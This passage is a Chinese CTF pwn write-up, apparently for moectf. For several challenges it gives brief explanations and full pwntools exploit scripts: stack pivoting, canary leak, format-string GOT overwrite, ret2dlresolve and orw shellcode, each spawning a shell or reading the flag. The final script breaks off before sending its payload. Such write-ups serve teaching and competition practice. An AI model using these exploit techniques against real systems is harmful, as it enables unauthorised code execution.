我们先向 desc+0x800 的位置写入我们的 ROP 链，然后覆盖 rbp 为 desc+0x800 ，覆盖 ret 为 leave_addr，即可实现栈迁移执行我们写入 data 段上的 ROP 链即可

 1
 2
 3
 4
 5
 6
 7
 8
 9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
110
111
112


from pwn import *
import argparse
import argcomplete

parser = argparse.ArgumentParser(
 description="Exploit script for pwn challenge.")
parser.add_argument('--remote', action='store_true',
 help="Connect to remote service")
parser.add_argument('--debug', action='store_true',
 help="Attach GDB for debugging")
parser.add_argument('--ip', default='localhost', help="Remote IP address")
parser.add_argument('--port', type=int, default=35515, help="Remote port")

args = parser.parse_args()


filename = './pwn'
# libc_path = './libc.so.6'
arch = 'amd64'

context.log_level = 'debug'
context.arch = arch
context.os = "linux"
context.terminal = ["tmux", "splitw", "-h"]

elf = ELF(filename)
# libc = ELF(libc_path)


def start():
 if args.remote:
 io = remote(args.ip, args.port)
 else:
 io = process(filename)
 if args.debug:
 gdb.attach(io, gdbscript='''
 b *0x401334
 ''')
 return io


def register_io_shortcuts(io):
 global se, sl, sla, sa, slt, st
 global rc, rn, rr, ru, ra, rl, rls, rle, rlc
 global ia, ic

 se = io.send
 sl = io.sendline
 sla = io.sendlineafter
 sa = io.sendafter
 slt = io.sendlinethen
 st = io.sendthen

 rc = io.recv
 rn = io.recvn
 rr = io.recvregex
 ru = io.recvuntil
 ra = io.recvall
 rl = io.recvline
 rls = io.recvline_startswith
 rle = io.recvline_endswith
 rlc = io.recvline_contains

 ia = io.interactive
 ic = io.close

# def uu32(data): return u32(data.ljust(4, b"\x00"))
# def uu64(data): return u64(data.ljust(8, b"\x00"))
# def get_64(): return u64(io.recvuntil(b"\x7f")[-6:].ljust(8, b"\x00"))
# def get_32(): return u32(io.recvuntil(b"\x7f")[-4:].ljust(4, b"\x00"))


def VIO_TEXT(x, code=95): return f"\x1b[{code}m{x}\x1b[0m"
def CLEAR_TEXT(x, code=32): return f"\x1b[{code}m{x}\x1b[0m"


def main():
 global io
 io = start()
 register_io_shortcuts(io)
 system_plt = 0x4010a0
 pop_rdi_ret = 0x401219
 leave_ret = 0x40120F
 ret_addr = 0x40101a
 bss = 0x404060
 pivot_bss = 0x404060+0x800

 ru(b'introduction.')
 sl(str(-1)) # 整数溢出

 payload = flat([
 b'a'*0x800,
 b'/bin/sh\x00',
 pop_rdi_ret,
 pivot_bss,
 ret_addr,
 system_plt,
 ])

 se(payload)

 ru(b'phone number:\n')

 payload = cyclic(12)+p64(pivot_bss)+p64(leave_ret)

 se(payload)

 ia()


if __name__ == "__main__":
 main()

ezprotection

泄漏canary
pie不改变低12bit也就是低三位，爆破1/16的backdoor地址，直接绕过password检测即可。

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68


import argparse
import sys
from pwn import *

parser = argparse.ArgumentParser()
parser.add_argument('mode', type=int, choices=[
 0, 1, 2], nargs='?', default=0, help='0=local,1=local+gdb,2=remote')
args = parser.parse_args()

filename = "./pwn"
arch = 'amd64'
remote_addr = "localhost"
remote_port = "43661"


context(log_level="debug", os="linux", arch=arch)
if args.mode < 2:
 context.terminal = ["tmux", "splitw", "-h"]


def VIO_TEXT(x, code=95):
 return f"\x1b[{code}m{x}\x1b[0m"


def CLEAR_TEXT(x, code=32):
 return f"\x1b[{code}m{x}\x1b[0m"


io = None
if args.mode == 0:
 io = process(filename)
 print("[*] Running on local machine")
elif args.mode == 1:
 io = process(filename)
 gdb.attach(io, gdbscript='''
 b *$rebase(0x1380)
 ''')
elif args.mode == 2:
 io = remote(remote_addr, remote_port)
else:
 sys.exit(1)
elf = ELF(filename)

se = io.send
sl = io.sendline
sa = io.sendafter
sla = io.sendlineafter
rc = io.recv
ru = io.recvuntil
ra = io.recvall
rl = io.recvline
ia = io.interactive

payload = b'a'*24
payload += b'b'

sa("you.\n", payload)
ru(b'b')

canary = u64(io.recv(7).rjust(8, b'\x00'))
log.success(VIO_TEXT(f"Canary is:{hex(canary)}"))

payload = b'a'*24+p64(canary)+b'b'*8+b'\x8c\xf2'

rc()
se(payload)

ia()

fmt_S

第一次写入，得到栈上一个地址指向main函数第二次写入，通过得到的栈地址写入到栈上位置

根据计算往上一次泄漏出的位置8-2就是我们可以控制的位置，在此写入一个main

第三次通过八个字节刚好可以写入/bin/sh\x00，通过system()来实现系统调用

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42


from pwn import *
from ctypes import *
context(os='linux', arch='amd64', log_level='debug')
context.terminal = ["tmux", "splitw", "-h"]
# p = remote('localhost', 37307)

def VIO_TEXT(x, code=95):
 return f"\x1b[{code}m{x}\x1b[0m"


def CLEAR_TEXT(x, code=32):
 return f"\x1b[{code}m{x}\x1b[0m"


p = process('./pwn')
elf = ELF('./pwn')
libc = ELF('./libc/libc.so.6')
system = 0x40127B

gdb.attach(p, gdbscript='''
 b *talk
 b *0x40131E
 b *0x4012F6
''')
payload = b'%8$p'
p.sendafter("You start talking to him...\n", payload)
p.recvuntil('0x')
stack_ret = int(p.recv(12), 16) - 0x18
log.success(VIO_TEXT("stack_ret: " + hex(stack_ret)))
p.sendafter("You enraged the monster-prepare for battle!\n", 'a' * 8)

count = stack_ret & 0xffff
payload2 = f'%{count}c%6$hn'.format().encode()
p.sendafter("You start talking to him...\n", payload2)
p.sendafter("You enraged the monster-prepare for battle!\n", 'a' * 8)

count = system & 0xffff
payload3 = f'%{count}c%47$hn'.format().encode()
p.sendafter("You start talking to him...\n", payload3)
p.sendafter("You enraged the monster-prepare for battle!\n", '/bin/sh\x00')

p.interactive()

fmt_T

程序外部一个格式化字符串可以帮助泄漏libc地址，而内部是递归的，所以只能进行写地址而且是4 16 27的允许写入数量，写one_gadget无效。而可以写printf_got
所以内部的写入如下

传入sh|%来写入sh参数，因为要判断%否则不允许写入所以只能写sh
在栈空间上写入pirntf_got用于修改为system
要写2.5个字节，在最后一次写入两次实现，抬一次地址写1.5字节

 1
 2
 3
 4
 5
 6
 7
 8
 9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114


import argparse
import sys
from pwn import *

parser = argparse.ArgumentParser()
parser.add_argument('mode', type=int, choices=[
 0, 1, 2], nargs='?', default=0, help='0=local,1=local+gdb,2=remote')
args = parser.parse_args()

filename = "./pwn"
libc_name = "./libc.so.6"
arch = 'amd64'
remote_addr = "localhost"
remote_port = "35661"


context(log_level="debug", os="linux", arch=arch)
if args.mode < 2:
 context.terminal = ["tmux", "splitw", "-h"]


def VIO_TEXT(x, code=95):
 return f"\x1b[{code}m{x}\x1b[0m"


def CLEAR_TEXT(x, code=32):
 return f"\x1b[{code}m{x}\x1b[0m"


io = None
if args.mode == 0:
 io = process(filename)
 print("[*] Running on local machine")
elif args.mode == 1:
 io = process(filename)
 gdb.attach(io, gdbscript='''
 b *0x4012d9
 ''')
elif args.mode == 2:
 io = remote(remote_addr, remote_port)
else:
 sys.exit(1)
elf = ELF(filename)
libc = ELF(libc_name)

se = io.send
sl = io.sendline
sa = io.sendafter
sla = io.sendlineafter
slt = io.sendlinethen
st = io.sendthen
rc = io.recv
rr = io.recvregex
ru = io.recvuntil
ra = io.recvall
rl = io.recvline
ia = io.interactive
rls = io.recvline_startswith
rle = io.recvline_endswith
rlc = io.recvline_contains


def uu64(data):
 return u64(data.ljust(8, b"\x00"))


def get_64():
 return u64(io.recvuntil(b"\x7f")[-6:].ljust(8, b"\x00"))


def hell(x):
 sa(b"hell.\n", x)


sl(b'%3$p')
leak_str = rl(keepends=False).decode()
leak_addr = int(leak_str, 16)
log.info(VIO_TEXT(f"try to leak-read?:{hex(leak_addr)}"))

libc.address = leak_addr-18-libc.sym['read'] # 泄漏出read来leak libc
system_addr = libc.sym['system']
log.success(VIO_TEXT(f"system:{hex(system_addr)}"))

printf_got = elf.got["printf"]
log.info(VIO_TEXT(f"printf@GOT: {hex(printf_got)}"))

# fgets最多读入len-1字符，第一次输入sh |% 使得可以被printf作为参数
hell("sh|%")

# 第二次先往栈上写一个printf_got的地址
printf_got = elf.got['printf']
# 通过写入到紧靠的下一个位置，使得可以写5位的prinf_got->system
payload_16 = (p64(printf_got) + p64(printf_got+1))[:15]

hell(payload_16)

system_low = system_addr & 0xff
system_high = (system_addr >> 8) & 0xffff
system_high = (system_high-system_low+0x10000) & 0xffff # 写入要写到高位还需要的字节
# system_high = (system_high-system_low) & 0xffff

log.info(VIO_TEXT(
 f"system_low:{hex(system_low)} and system_high:{hex(system_high)}")
)

# 先写低位一个字节在写高位两个字节实现写三位
payload_27 = f"%{system_low}c%24$hhn%{system_high}c%25$hn".encode()
# payload_27 = f"%{system_low}c%24$hhn".encode()
print(len(payload_27))
sla(b"hell.\n", payload_27)
# payload_test = "%25$p"
# sla(b"hell.\n", payload_test)

io.interactive()

hard_pivot

只用read实现读和写，多次栈迁移板子，羊城杯pstack

 1
 2
 3
 4
 5
 6
 7
 8
 9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124


import argparse
import sys
from pwn import *

parser = argparse.ArgumentParser()
parser.add_argument('mode', type=int, choices=[
 0, 1, 2], nargs='?', default=0, help='0=local,1=local+gdb,2=remote')
args = parser.parse_args()

libc_name = "./libc.so.6"
filename = "./pwn"
arch = 'amd64'
remote_addr = "localhost"
remote_port = "43747"


context(log_level="debug", os="linux", arch=arch)
if args.mode < 2:
 context.terminal = ["tmux", "splitw", "-h"]


def VIO_TEXT(x, code=95):
 return f"\x1b[{code}m{x}\x1b[0m"


def CLEAR_TEXT(x, code=32):
 return f"\x1b[{code}m{x}\x1b[0m"


io = None
if args.mode == 0:
 io = process(filename)
 print("[*] Running on local machine")
elif args.mode == 1:
 io = process(filename)
 gdb.attach(io, gdbscript='''
 b *read
 ''')
elif args.mode == 2:
 io = remote(remote_addr, remote_port)
else:
 sys.exit(1)
elf = ELF(filename)
libc = ELF(libc_name)

se = io.send
sl = io.sendline
sa = io.sendafter
sla = io.sendlineafter
slt = io.sendlinethen
st = io.sendthen
rc = io.recv
rr = io.recvregex
ru = io.recvuntil
ra = io.recvall
rl = io.recvline
ia = io.interactive
rls = io.recvline_startswith
rle = io.recvline_endswith
rlc = io.recvline_contains

leave_ret = 0x40127b
bss_buffer = 0x4040a0+0x500
pop_rbp_ret = 0x4011a1
pop_rdi_ret = 0x40119e
vuln_read = 0x401264


# pivot rbp
payload1 = flat(
 b'a'*(64),
 p64(bss_buffer+0x40),
 p64(vuln_read)
)
sa(b"> ", payload1)


# ROP leak
puts_got = elf.got['puts']
puts_plt = elf.plt['puts']
payload2 = flat(
 {
 0x00: p64(pop_rdi_ret),
 0x08: p64(puts_got),
 0x10: p64(puts_plt), # leak-libc
 0x18: p64(pop_rbp_ret),
 0x20: p64(bss_buffer+0x200+0x40), # 这里是为payload3做准备
 0x28: p64(vuln_read), # 因为开辟空间所以+0x40,这样刚好从bss_buffer+0x200开始写payload3
 0x40: p64(bss_buffer-0x8), # 更新rbp位置,开始leak
 0x48: p64(leave_ret) # 返回地址位置
 },
 filler=b"x",
 length=0x50
)
# test_payload = b'a'*0x40+b'b'*8+b'c'*8
se(payload2)
puts_addr = u64(rc(6).ljust(8, b'\x00'))
libc.address = puts_addr - libc.symbols['puts']
system_addr = libc.symbols['system']
binsh = libc.search('/bin/sh\x00').__next__()

log.success(VIO_TEXT(f"puts_addr:{hex(puts_addr)}"))
log.success(VIO_TEXT(f"system_addr:{hex(system_addr)}"))


# ROP system
log.info(CLEAR_TEXT(
 f"Hey! Nan0in is really good at pivoting, let's try to call system() now!"))
ret_addr = 0x040101a
payload3 = flat(
 {
 0x0: p64(pop_rdi_ret),
 0x8: p64(binsh),
 0x10: p64(system_addr),
 0x40: p64(bss_buffer+0x200-0x8), # 再次迁移执行payload2中布置好的ROP
 0x48: p64(leave_ret)
 },
 filler=b'x',
 length=0x50
)
se(payload3)


ia()

shellbox

沙箱

openat read write的orw可写，在哪里写？

一开始从v5=0开始检测，如果=1了直接退出，然后会8字节的写入到v4中，根据v5索引来，而如果在>=1的时候，buf中的内容刚好8字节写到返回地址以下，可以构造链子，尝试写mprotect将bss段写为可执行后写入shellcode

 1
 2
 3
 4
 5
 6
 7
 8
 9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131


import argparse
import sys
from pwn import *

parser = argparse.ArgumentParser()
parser.add_argument('mode', type=int, choices=[
 0, 1, 2], nargs='?', default=0, help='0=local,1=local+gdb,2=remote')
args = parser.parse_args()

libc_name = ""
filename = "./pwn"
arch = 'amd64'
remote_addr = "localhost"
remote_port = "37391"


context(log_level="debug", os="linux", arch=arch)
if args.mode < 2:
 context.terminal = ["tmux", "splitw", "-h"]


def VIO_TEXT(x, code=95):
 return f"\x1b[{code}m{x}\x1b[0m"


def CLEAR_TEXT(x, code=32):
 return f"\x1b[{code}m{x}\x1b[0m"


io = None
if args.mode == 0:
 io = process(filename)
 print("[*] Running on local machine")
elif args.mode == 1:
 io = process(filename)
 gdb.attach(io, gdbscript='''
 b *0x401B23
 ''')
elif args.mode == 2:
 io = remote(remote_addr, remote_port)
else:
 sys.exit(1)
# prev
elf = ELF(filename)
# libc=ELF(libc_name)
se = io.send
sl = io.sendline
sa = io.sendafter
sla = io.sendlineafter
slt = io.sendlinethen
st = io.sendthen
rc = io.recv
rr = io.recvregex
ru = io.recvuntil
ra = io.recvall
rl = io.recvline
ia = io.interactive
rls = io.recvline_startswith
rle = io.recvline_endswith
rlc = io.recvline_contains


def uu64(data):
 return u64(data.ljust(8, b"\x00"))


def get_64():
 return u64(io.recvuntil(b"\x7f")[-6:].ljust(8, b"\x00"))


pop_rdi = 0x401A40
pop_rsi = 0x401A42
pop_rdx = 0x401A44
pop_rax = 0x44bbbb
pop_rbp = 0x401889
mprotect_buf = 0x4cd000
mprotect_addr = 0x443520
syscall = 0x401268
leave_ret = 0x401ab0
bss = 0x04CEB60
ret = 0x40101a


open_at_shellcode = asm("""
 xor rax, rax
 push rax
 mov rbx, 0x67616c66 /* "flag" */
 push rbx
 mov rsi, rsp /* rsi = &"flag" */

 /* openat(AT_FDCWD=-100, "flag", O_RDONLY=0, 0) */
 mov rdi, -100
 xor rdx, rdx /* flags = 0 */
 xor r10, r10 /* mode = 0 */
 mov rax, 257 /* SYS_openat */
 syscall
 mov rdi, rax /* save returned fd in rdi */

 /* read(fd, rsp, 0x100) */
 mov rsi, rsp
 mov rdx, 0x100
 xor rax, rax
 syscall

 /* write(1, rsp, 0x100) */
 mov rdi, 1
 mov rax, 1
 syscall
""")


log.info(VIO_TEXT(f"shellocde_lenth:{len(open_at_shellcode)}"))

shellcode = open_at_shellcode

# save to bss
sla(b"You have a box, fill it.\n", shellcode)

# second read,cover rip
sa(b">", b'AAAA' + p16(1))
sa(b">", p64(pop_rdi))
sa(b">", p64(mprotect_buf))
sa(b">", p64(pop_rsi))
sa(b">", p64(0x2000)) # 提权
sa(b">", p64(pop_rdx))
sa(b">", p64(7))
sa(b">", p64(mprotect_addr))
sa(b">", p64(bss))


io.interactive()

no_way_to_leak

1
2
3
4
5
6


ssize_t vuln()
{
 _BYTE buf[112]; // [rsp+0h] [rbp-70h] BYREF

 return read(0, buf, 256u);
}

有140多的栈溢出，存在Magic

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18


.text:0000000000401156 magic proc near
.text:0000000000401156 ; __unwind {
.text:0000000000401156 endbr64
.text:000000000040115A push rbp
.text:000000000040115B mov rbp, rsp
.text:000000000040115E pop rdi
.text:000000000040115F retn
.text:000000000040115F magic endp
.text:000000000040115F
.text:0000000000401160 ; ---------------------------------------------------------------------------
.text:0000000000401160 pop rsi
.text:0000000000401161 retn
.text:0000000000401161 ; ---------------------------------------------------------------------------
.text:0000000000401162 db 90h
.text:0000000000401163 ; ---------------------------------------------------------------------------
.text:0000000000401163 pop rbp
.text:0000000000401164 retn
.text:0000000000401164 ; } // starts at 401156

除此之外就没有了，只有read的溢出可以利用。

另外

可用的函数符号也有限，无法正常泄漏出libc基地址，因此需要使用到ret2dlresolve

通过打开gdb的debug_infoset debuginfod enabled on以及设置拉取符号，我们可以看到具体调试的过程了

可以发现我们的read在执行的时候跳转到了0x401040也就对应IDA中去除符号的地方了，我们具体看看，跳转到.got.plt的部分，即got表去调用

而剩下

1
2
3


0x401040 endbr64
0x401044 push 1
0x401049 bnd jmp 0x401020 ; 进入 .plt[0]

push 1：把“PLT项号”压栈，这里是第 1 个项（read），Number = 1
然后跳到 .plt[0]（泛称为 PLT0 stub），这将跳转至动态链接器的解析函数。

借由这个部分，我们通过jmp跳转到了_dl_runtime_resolve_xsavec

执行了_dl_runtime_resolve(link_map,reloc_arg)

这个函数会完成符号的解析，即将真实的read函数地址写入其GOT表对应的条目中，随后将控制器交给被解析的函数

一路往下si，可以看到

执行了call _dl_fixup的函数，我们可以在glibc-database里拉取一份代码进行查看或者直接到elixir ，版本是2.31

可以去看我写的剖析re2dlresolve
这题你可以手写64位的ret2dlresolve,也可以调用pwntools的库，时间相差不是一点半点，而且其实手写64位ret2dlresolve后大部分情况下也是一个模板
在此给出两种解法

手写64位

 1
 2
 3
 4
 5
 6
 7
 8
 9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119


import argparse
import sys
from pwn import *

parser = argparse.ArgumentParser()
parser.add_argument('mode', type=int, choices=[
 0, 1, 2], nargs='?', default=0, help='0=local,1=local+gdb,2=remote')
args = parser.parse_args()

filename = "./pwn"
libc_name = "./libc-2.31.so"
arch = 'amd64'
remote_addr = "ip"
remote_port = "port"


context(log_level="debug", os="linux", arch=arch)
if args.mode < 2:
 context.terminal = ["tmux", "splitw", "-h"]


def VIO_TEXT(x, code=95):
 return f"\x1b[{code}m{x}\x1b[0m"


def CLEAR_TEXT(x, code=32):
 return f"\x1b[{code}m{x}\x1b[0m"


io = None
if args.mode == 0:
 io = process(filename)
 print(CLEAR_TEXT("[*] Running on local machine"))
elif args.mode == 1:
 io = process(filename)
 gdb.attach(io, gdbscript='''
 b *0x401224
 ''')
elif args.mode == 2:
 io = remote(remote_addr, remote_port)
else:
 sys.exit(1)
elf = ELF(filename)
libc = ELF(libc_name)

se = io.send
sl = io.sendline
sa = io.sendafter
sla = io.sendlineafter
slt = io.sendlinethen
st = io.sendthen
rc = io.recv
rr = io.recvregex # 接收直到匹配正则表达式 rr(b"flag\{.*\}")
ru = io.recvuntil
ra = io.recvall
rl = io.recvline
ia = io.interactive
rls = io.recvline_startswith
rle = io.recvline_endswith
rlc = io.recvline_contains
def n64(x): return (x + 0x10000000000000000) & 0xFFFFFFFFFFFFFFFF


def build_fake_link_map(fake_linkmap_addr, func, base_func='puts'):
 # &(2**64-1)是因为offset为负数，如果不控制范围，p64后会越界，发生错误
 offset = n64(libc.sym[func] - libc.sym[base_func])
# linkmap = p64(offset & (2 ** 64 - 1))#l_addr
 linkmap = p64(offset)
# fake_linkmap_addr + 8，也就是DT_JMPREL，至于为什么有个0，可以参考IDA上.dyamisc的结构内容
 linkmap += p64(0) # 可以为任意值
 linkmap += p64(fake_linkmap_addr + 0x18) # 这里的值就是伪造的.rel.plt的地址
# fake_linkmap_addr + 0x18,fake_rel_write, 因为write函数push的索引是0，也就是第 一项
# linkmap += p64((fake_linkmap_addr + 0x30 - offset) & (2 ** 64 - 1)) #Rela->r_offset, 正常情况下这里应该存的是got表对应条目的地址，解析完成后在这个地址上存放函数的实际地址，此处我们只需要设置一个可读写的地址即可
 linkmap += p64(n64(elf.bss()-offset))
 linkmap += p64(0x7) # Rela->r_info, 用于索引symtab上的对应项，7>>32=0，也就是指向symtab的第一项
 linkmap += p64(0) # Rela->r_addend, 任意值都行
 linkmap += p64(0) # l_ns
# fake_linkmap_addr + 0x38, DT_SYMTAB
 linkmap += p64(0) # 参考IDA上.dyamisc的结构
 # 这里的值就是伪造的symtab的地址, 为已解析函数的got表地址-0x8
 linkmap += p64(elf.got[base_func] - 0x8)
 linkmap += b'/bin/sh\x00'
 linkmap = linkmap.ljust(0x68, b'A')
 # fake_linkmap_addr + 0x68, 对应的值的DT_STRTAB的地址，由于我们用不到strtab，所以随意设置了一个可读区域
 linkmap += p64(fake_linkmap_addr)
 # fake_linkmap_addr + 0x70 , 对应的值是DT_SYMTAB的地址
 linkmap += p64(fake_linkmap_addr + 0x38)
 linkmap = linkmap.ljust(0xf8, b'A')
 # fake_linkmap_addr + 0xf8, 对应的值是DT_JMPREL的地址
 linkmap += p64(fake_linkmap_addr + 0x8)
 return linkmap


read_plt = elf.plt['read']
fake_linkmap_addr = elf.bss() + 0x100
new_stack = elf.bss() + 0x880
fake_link_map = build_fake_link_map(
 fake_linkmap_addr, 'system', 'read') # 伪造link_map
padding = 0x78
payload = b'a'*padding
payload += flat({
 0x00: next(elf.search(asm('ret'), executable=True)),
 0x08: next(elf.search(asm('pop rdi; ret'), executable=True)),
 0x10: 0,
 0x18: next(elf.search(asm('pop rsi; pop r15; ret'), executable=True)),
 0x20: fake_linkmap_addr,
 0x28: 0,
 0x30: elf.plt['read'],
 0x38: next(elf.search(asm('pop rdi; ret'), executable=True)),
 0x40: fake_linkmap_addr + 0x48,
 0x48: elf.get_section_by_name('.plt').header.sh_addr + 6,
 0x50: fake_linkmap_addr, # struct link_map *l
 0x58: 0 # ElfW(Word) reloc_arg
})

sl(payload)
pause()
se(fake_link_map)
ia()

使用pwntools集成

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95


import argparse
import sys
from pwn import *

parser = argparse.ArgumentParser()
parser.add_argument('mode', type=int, choices=[
 0, 1, 2], nargs='?', default=0, help='0=local,1=local+gdb,2=remote')
args = parser.parse_args()

libc_name = "./libc-2.31.so"
filename = "./pwn"
arch = 'amd64'
remote_addr = "localhost"
remote_port = "port"


context(log_level="debug", os="linux", arch=arch)
if args.mode < 2:
 context.terminal = ["tmux", "splitw", "-h"]


def VIO_TEXT(x, code=95):
 return f"\x1b[{code}m{x}\x1b[0m"


def CLEAR_TEXT(x, code=32):
 return f"\x1b[{code}m{x}\x1b[0m"


io = None
if args.mode == 0:
 io = process(filename)
 print("[*] Running on local machine")
elif args.mode == 1:
 io = process(filename)
 gdb.attach(io, gdbscript='''
 b *40117d
 ''')
elif args.mode == 2:
 io = remote(remote_addr, remote_port)
else:
 sys.exit(1)
# prev
elf = ELF(filename)
libc = ELF(libc_name)
se = io.send
sl = io.sendline
sa = io.sendafter
sla = io.sendlineafter
slt = io.sendlinethen
st = io.sendthen
rc = io.recv
rr = io.recvregex
ru = io.recvuntil
ra = io.recvall
rl = io.recvline
ia = io.interactive
rls = io.recvline_startswith
rle = io.recvline_endswith
rlc = io.recvline_contains


def uu64(data):
 return u64(data.ljust(8, b"\x00"))


def get_64():
 return u64(io.recvuntil(b"\x7f")[-6:].ljust(8, b"\x00"))


offset = 112+8
read_length = 0x100
start_resolve = elf.get_section_by_name(".plt").header.sh_addr
pop_rdi = 0x040115e
pop_rsi_r15 = 0x0401241
read_plt = elf.plt['read']

rop = ROP(elf)
rop.raw(rop.ret.address)
dlresolve = Ret2dlresolvePayload(elf, symbol='system', args=["/bin/sh\x00"])

payload = flat(
 b'\x00'*offset,
 pop_rdi, 0,
 pop_rsi_r15, dlresolve.data_addr, 0,
 read_plt,
 pop_rdi, dlresolve.real_args[0],
 start_resolve, dlresolve.reloc_index
).ljust(0x100, b'\x00') + dlresolve.payload

sl(payload)
print(rop.dump())
# moectf{N0_PuT5-n0-PRintF_n0-13Ak_JUSt-rET2dl2da2a}，注意远程不要patch了打

io.interactive()

后续远程

patch会修改动态内存布局（一般来说会抬高libc空间），远程不要Patch

call_it

保护，但其实SHSTK和IBT如题所说是无效的，所以我觉得这真的能算是JOP吗…
我们发现 whlie 的结束条件是由 n_gestures 控制的，但输入 6 后，n_gestures 不增加而 v2 会增加。

如图，只限制到了7
而fgets会v2进行偏移往 talks 内写入数据，往下可以精确写到gestures从而控制gestures内容

而还有一个gift,可以将参数和函数一并传入进行执行了， +8 位置作为参数，调用 +16 位置的函数

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96


import argparse
import sys
from pwn import *

parser = argparse.ArgumentParser()
parser.add_argument('mode', type=int, choices=[
 0, 1, 2], nargs='?', default=0, help='0=local,1=local+gdb,2=remote')
args = parser.parse_args()

filename = "./pwn"
libc_name = "./libc.so.6"
arch = 'amd64'
remote_addr = "localhost"
remote_port = "34233"


context(log_level="debug", os="linux", arch=arch)
if args.mode < 2:
 context.terminal = ["tmux", "splitw", "-h"]


def VIO_TEXT(x, code=95):
 return f"\x1b[{code}m{x}\x1b[0m"


def CLEAR_TEXT(x, code=32):
 return f"\x1b[{code}m{x}\x1b[0m"


io = None
if args.mode == 0:
 io = process(filename)
 print("[*] Running on local machine")
elif args.mode == 1:
 io = process(filename)
 gdb.attach(io, gdbscript='''
 b *0x4012d9
 b *0x40111E
 ''')
elif args.mode == 2:
 io = remote(remote_addr, remote_port)
else:
 sys.exit(1)
elf = ELF(filename)
# libc = ELF(libc_name)

se = io.send
sl = io.sendline
sa = io.sendafter
sla = io.sendlineafter
slt = io.sendlinethen
st = io.sendthen
rc = io.recv
rr = io.recvregex
ru = io.recvuntil
ra = io.recvall
rl = io.recvline
ia = io.interactive
rls = io.recvline_startswith
rle = io.recvline_endswith
rlc = io.recvline_contains


def uu64(data):
 return u64(data.ljust(8, b"\x00"))


def message(idx, content=b""):
 sla(b"Choose your gesture:", str(idx))
 if 0 < idx < 6:
 sla(b"What should I say after this gesture?", content)


gift = elf.sym['gift']
system = 0x401228
binsh_addr = elf.sym['talks']

log.info(VIO_TEXT(f"gift: {hex(gift)}"))
log.info(VIO_TEXT(f"system: {hex(system)}"))
log.info(VIO_TEXT(f"binsh_addr: {hex(binsh_addr)}"))

message(1, b'/bin/sh\x00')
for i in range(7):
 message(6)

payload = flat(
 gift, binsh_addr,
)
log.info(CLEAR_TEXT(f"payload: {payload.hex()}"))
